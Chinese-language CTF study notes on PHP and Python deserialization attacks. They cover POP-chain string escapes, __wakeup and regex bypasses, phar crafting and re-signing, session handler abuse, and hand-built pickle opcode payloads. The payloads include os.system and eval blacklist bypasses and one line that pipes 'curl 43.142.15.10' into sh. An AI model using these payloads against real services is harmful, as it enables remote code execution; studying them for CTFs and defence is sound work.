反序列化
php反序列化
1.常规构造POP链反序列化
0x01 字符逃逸型
1.字符增加型
需要一个可控点即可
O:4:"test":0:{s:4:"name";s:25:"aaaaaaaaaaaaaaaaaaaaa";s:4:"name";s:4:"test";}";}
例:ctfshow 2020年新春战“疫”—网络安全公益赛 web2
2.字符减少型
需要至少两个可控点
O:4:"test":0:{s:4:"testaaaaaaaa";s:25:"";s:4:"root";s:4:"root";}";}
例 ctfshow 新春欢乐赛 web6
0x02绕过__wakeup
版本要求
PHP5 < 5.6.25
PHP7 < 7.0.10
将序列化后对象的属性个数改大即可绕过__wakeup
例 新春欢乐赛 web7
0x03绕过正则
if (preg_match('/^O:\d+/',$data)){
die('you lose!');
}
①将对象放到数组中,序列化后,以a
开头
②在php较低版本,可在O
后的字符前加数字
③利用php内置的实现serializable
的类绕过,序列化后以C开头
脚本
$classes = get_declared_classes();
$implementsIModule = array();
foreach ($classes as $klass) {
$reflect = new ReflectionClass($klass);
if ($reflect->implementsInterface('Serializable'))
$implementsIModule[] = $klass;
}
foreach ($implementsIModule as $c) {
echo $c."\n";
}
0x04绕过关键字
①php7.1+反序列化对类属性不敏感
class test
{
private $name = "whoami";
public function __destruct()
{
echo $this->name;
}
}
echo serialize(new test());
unserialize('O:4:"test":1:{s:4:"name";s:4:"root";}');
#输出 root
②当字符串标识符从s
改为S
,可用16进制绕过。
上例中
unserialize('O:4:"test":1:{s:4:"name";s:4:"root";}');
<==>
unserialize('O:4:"test":1:{S:4:"\6eame";s:4:"root";}');
③php类的大小写不敏感
0x05绕过异常处理
将对象放入数组(如数组a中)的第一个元素中,第二个元素放null
,对数组进行序列化,将数组的下标1改为0。即将对象所在的地址置空,也就提前进行__destruct
了。
例 ctfshow 卷王杯 easy unserialize
2.phar反序列化
....构造pop链
$a = new A();
$phar = new Phar("hack.phar");
$phar->startBuffering();
//填充 Stub
$phar->setStub( 文件头+"<?php __HALT_COMPILER(); ?\>");
//Meta
$phar->setMetadata($a);
//这里写不写应该是无所谓的无所谓
//填充压缩文件
$phar->addFromString("123.txt", "123456");
//结束后会自动前面
$phar->stopBuffering();
0x01绕过phar头
compress.zlib://phar://
compress.bzip2://phar://
php://filter/resource=phar://
zlib:phar://
phar://
0x02对文件内容限制
①用gzip压缩
gzip hack.phar
②将phar的内容写进压缩包注释中,也同样能够反序列化成功,压缩为zip也会绕过
$phar_file = serialize($exp);
echo $phar_file;
$zip = new ZipArchive();
$res = $zip->open('1.zip',ZipArchive::CREATE);
$zip->addFromString('1.txt', 'file content goes here');
$zip->setArchiveComment($phar_file);$zip->close();
0x03修改签名
from hashlib import sha1
with open('hack.phar', 'rb') as file:
f = file.read()
# 修改内容后的phar文件,以二进制文件形式打开
s = f[:-28] # 获取要签名的数据(对于sha1签名的phar文件,文件末尾28字节为签名的格式)
h = f[-8:] # 获取签名类型以及GBMB标识,各4个字节
newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)
with open('newPhar.phar', 'wb') as file:
file.write(newf) # 写入新文件
0x04可触发phar的函数
https://blog.zsxsoft.com/post/38
3.session反序列化
搞清楚格式几种session反序列化的格式
php session格式: 键|php序列化值的部分,以 | 为分隔符 如 limit|i:1
php_serialize session格式: serialize函数序列化后的结果(数组形式) 如 a:1:{s:5:"limit";i:1;}
php_binary session格式: 键对应的ASCII字符()+键名+php序列化值的部分, 如 •limiti:1;
session.serialize_handler
例 ctfshow 一切看起来都那么合情合理
session.upload_progress+session.serialize_handler
任意session篡改。
注意几个配置
session.upload_progress.prefix
session.upload_progress.cleanup
session.upload_progress.enabled
session.upload_progress 文件包含
略
例 ctfshow 新手杯 石头剪刀布
python反序列化
学习参考链接
1.https://www.zhihu.com/tardis/sogou/art/89132768
2.https://xz.aliyun.com/t/12367#toc-0
3.https://tttang.com/archive/1782/#toc_
直接调试pickle的源代码,会理解快点。
1.函数执行
0x01指令码R
def load_reduce(self):
stack = self.stack
args = stack.pop()
func = stack[-1]
stack[-1] = func(*args)
复制当前栈信息,弹出的第一个做参数,之后的栈顶做被调用函数。
实现__reduce__
魔术方法,生成的序列化值中便有R指令码。(当然也可以自己手搓)
例如:
class test:
def __init__(self):
self.date = "aaaa"
def __reduce__(self):
return (os.system, ("whoami", ))
a = pickletools.optimize(pickle.dumps(test(), 3))
print(a)
pickletools.dis(a)
#b'\x80\x03cnt\nsystem\nX\x06\x00\x00\x00whoami\x85R.'
反序列化时
1 .读取 \x80
,调用 load_proto
,再读取一个字节,指明几号协议
2.读取c
(功能相当于import) ,读取两行(\n结尾
)字符串,这里是nt
,system
。即在nt
模块查找system
函数,并压入栈中
3.读取X
,读取4字节,指明数据大小(这里为6字节),然后读取对应大小的内容,压入栈中。
4.读取\x85
,将栈顶的一个元素组装成元组。(因为R需要栈顶为一个元组)
5.读取R
,弹出栈顶,然后以其做为参数,以此时栈顶做为被调用函数,将执行结果写入栈顶
6.读取.
结束
0x02指令码b
先理解一个普通的类是如何进行反序列化的
class test:
def __init__(self):
self.list = ["this", "is", "a", "list"]
self.int = 14333223
self.dict = {"get": "flag"}
self.str = "this_is_flag"
a = pickletools.optimize(pickle.dumps(test(), 3))
print(a)
pickletools.dis(a)
pickle.loads(a)
b"\x80\x03c__main__\ntest\n)\x81}(X\x04\x00\x00\x00listq\x00](X\x04\x00\x00\x00thisX\x02\x00\x00\x00isX\x01\x00\x00\x00ah\x00eX\x03\x00\x00\x00intJ'\xb5\xda\x00X\x04\x00\x00\x00dict}X\x03\x00\x00\x00getX\x04\x00\x00\x00flagsX\x03\x00\x00\x00strX\x0c\x00\x00\x00this_is_flagub."
1.\x80
同上
2.读取c
, 得到类 test
,压入栈。
3.读取)
压入一个空tuple
4.读取\x81
,弹出栈顶的两个元素,即test
类和一个空的tuple
。之后实例化,入栈
5.读取}
,压入一个空dict
6.读取(
,将当前栈所有信息压入前序栈(metastack),将当前栈置空 可以理解为类似一个函数调用的过程。
X操作码都跳过
7.读取q
,将list压入memo
中,索引为0
8.读取]
,压入一个空list
(可以发现,如果是右半部分,就是对应的类型)
9.再次(
10.读取h
,压入memo
中的索引0
(可能是看到遇到有重复的就存到内存里了)
11.读取e
. 先调用pop_mark。 复制当前栈信息给items
,从前序栈中弹出之前压入的栈 赋值给 当前栈,返回items
将items
装到之前压入的空list
中
-
读取
J
压入4字节有符号int -
读取
}
压入空dict
-
读取
s
,弹出栈顶的两个元素,压入空的dict
中 -
读取
u
. 调用pop_mark, 两个一组压入组装成字典。 -
读取
b
,弹出属性,赋值给state
,将对象赋值给inst
. 如果对象存在__setstate__
,则将属性做为参数应用于改方法。如果不存在。将属性赋值到对象上(此时对象上才有了属性)。
17.读取
.
over
(写了很多没用的,主要是熟悉一下)
如果将__setstate__
的值赋值为os.system
,然后build
一次,此时类便有了__setstate__
方法,然后再次调用build
,就可以触发rce了。
所以,我们可以将序列化的值改为。
b"\x80\x03c__main__\ntest\n)\x81}(X\x0C\x00\x00\x00__setstate__cos\nsystem\nubX\x16\x00\x00\x00curl 43.142.15.10 | shb."
反序列化后成功执行
0x03指令码i
#指令码i
def load_inst(self):
module = self.readline()[:-1].decode("ascii")
name = self.readline()[:-1].decode("ascii")
klass = self.find_class(module, name)
self._instantiate(klass, self.pop_mark())
读取两个行字符串。找到该类。调用_instantiate
.跟进_instantiate
def _instantiate(self, klass, args):
if (args or not isinstance(klass, type)
or hasattr(klass, "__getinitargs__")):
try:
value = klass(*args)
except TypeError as err:
raise TypeError(
"in constructor for %s: %s" % (klass.__name__, str(err)),
sys.exc_info()[2])
else:
value = klass.__new__(klass)
self.append(value)
pop_mark()返回的是当前栈的信息,故只需要在调用i
指令前,写个字符串参数即可
稍微修改下payload即可。
b"\x80\x03c__main__\ntest\n)\x81}(X\x06\x00\x00\x00whoamiios\nsystem\n."
0x04指令码o
def load_obj(self):
# Stack is ... markobject classobject arg1 arg2 ...
args = self.pop_mark()
cls = args.pop(0)
self._instantiate(cls, args)
类似指令i
,再稍微修改一下
b"\x80\x03c__main__\ntest\n)\x81}(cos\nsystem\nX\x06\x00\x00\x00whoamio."
#操作码b
def load_build(self):
stack = self.stack
state = stack.pop()
inst = stack[-1]
setstate = getattr(inst, "__setstate__", None)
if setstate is not None:
setstate(state)
return
slotstate = None
if isinstance(state, tuple) and len(state) == 2:
state, slotstate = state
if state:
inst_dict = inst.__dict__
intern = sys.intern
for k, v in state.items():
if type(k) is str:
inst_dict[intern(k)] = v
else:
inst_dict[k] = v
if slotstate:
for k, v in slotstate.items():
setattr(inst, k, v)
def pop_mark(self):
items = self.stack
self.stack = self.metastack.pop()
self.append = self.stack.append
return items
#指令码 s
def load_setitem(self):
stack = self.stack
value = stack.pop()
key = stack.pop()
dict = stack[-1]
dict[key] = value
#指令码 e
def load_appends(self):
items = self.pop_mark()
list_obj = self.stack[-1]
try:
extend = list_obj.extend
except AttributeError:
pass
else:
extend(items)
return
# Even if the PEP 307 requires extend() and append() methods,
# fall back on append() if the object has no extend() method
# for backward compatibility.
append = list_obj.append
for item in items:
append(item)
#指令码 \x81
def load_newobj(self):
args = self.stack.pop()
cls = self.stack.pop()
obj = cls.__new__(cls, *args)
self.append(obj)
#指令码 (
def load_mark(self):
self.metastack.append(self.stack)
self.stack = []
self.append = self.stack.append
#指令码 \x85
def load_tuple1(self):
self.stack[-1] = (self.stack[-1], )
#指令码 c
def load_global(self):
module = self.readline()[:-1].decode("utf-8") #最后一个是换行 module名称
name = self.readline()[:-1].decode("utf-8") #再读取一个
klass = self.find_class(module, name)
self.append(klass)
#指令码 t
def load_tuple(self):
items = self.pop_mark()
self.append(tuple(items))
2.变量覆盖
在picker.py中有一个变量 key=whoami
。利用类似的思路,可以将其覆盖
\x80\x03c__main__\n
以上是修改了其他模块的变量,当然也可以修改当前模块的变量
引入builtins.globals
,压入一个空的tuple
,然后用R
指定调用,以字典的形式返回当前模块的全局变量。再写入两个字符串,一个是key
,一个是value
,最后用s
指令修改dict
3.绕过
0x01绕过函数黑名单
参考 p神 https://www.leavesongs.com/PENETRATION/code-breaking-2018-python-sandbox.html
在只能调用 builtins
模块的情况下,可以用其 getattr
和globals
等函数,得到eval
函数,然后进行代码执行.
payload
_loads( b'''\x80\x03cbuiltins\ngetattr\n(cbuiltins\ndict\nX\x03\x00\x00\x00gettR(cbuiltins\nglobals\n(tRX\x0C\x00\x00\x00__builtins__tRp1\ncbuiltins\ngetattr\n(g1\nX\x04\x00\x00\x00evaltR(X\x13\x00\x00\x00os.system('whoami')tR.''')
简单说下干了什么
1.引入getattr
函数,压入前序栈
2.引入dict
函数 ,引入字符串get
3.将dict
函数和get
组装成tuple,前序栈弹出getattr
函数.调用getattr(*(dict,'get'))
得到dict.get
函数,压入前序栈
4.调用globals
函数,以字典形式返回全部变量.(其中有__builtins__模块),引入__builtins__
字符串.
5.同上 调用 dict.get(builtins,"__builtins__")
函数,得到builtins
模块. 将其压入内存栈
中
6.在引入getattr
函数,压入前序栈
7.将内存栈
中的引入builtins
模块,再引入 eval
字符串.
8.调用getattr(builtins,"eval")
,得到 eval
函数,压入前序栈
9.写代码,最后调用eval
.
0x02绕过关键字
压入字符串时,S
可使用16进制绕过,V
可使用unicode绕过
4.相关题目
[CISCN2019 华北赛区 Day1 Web2]ikun
....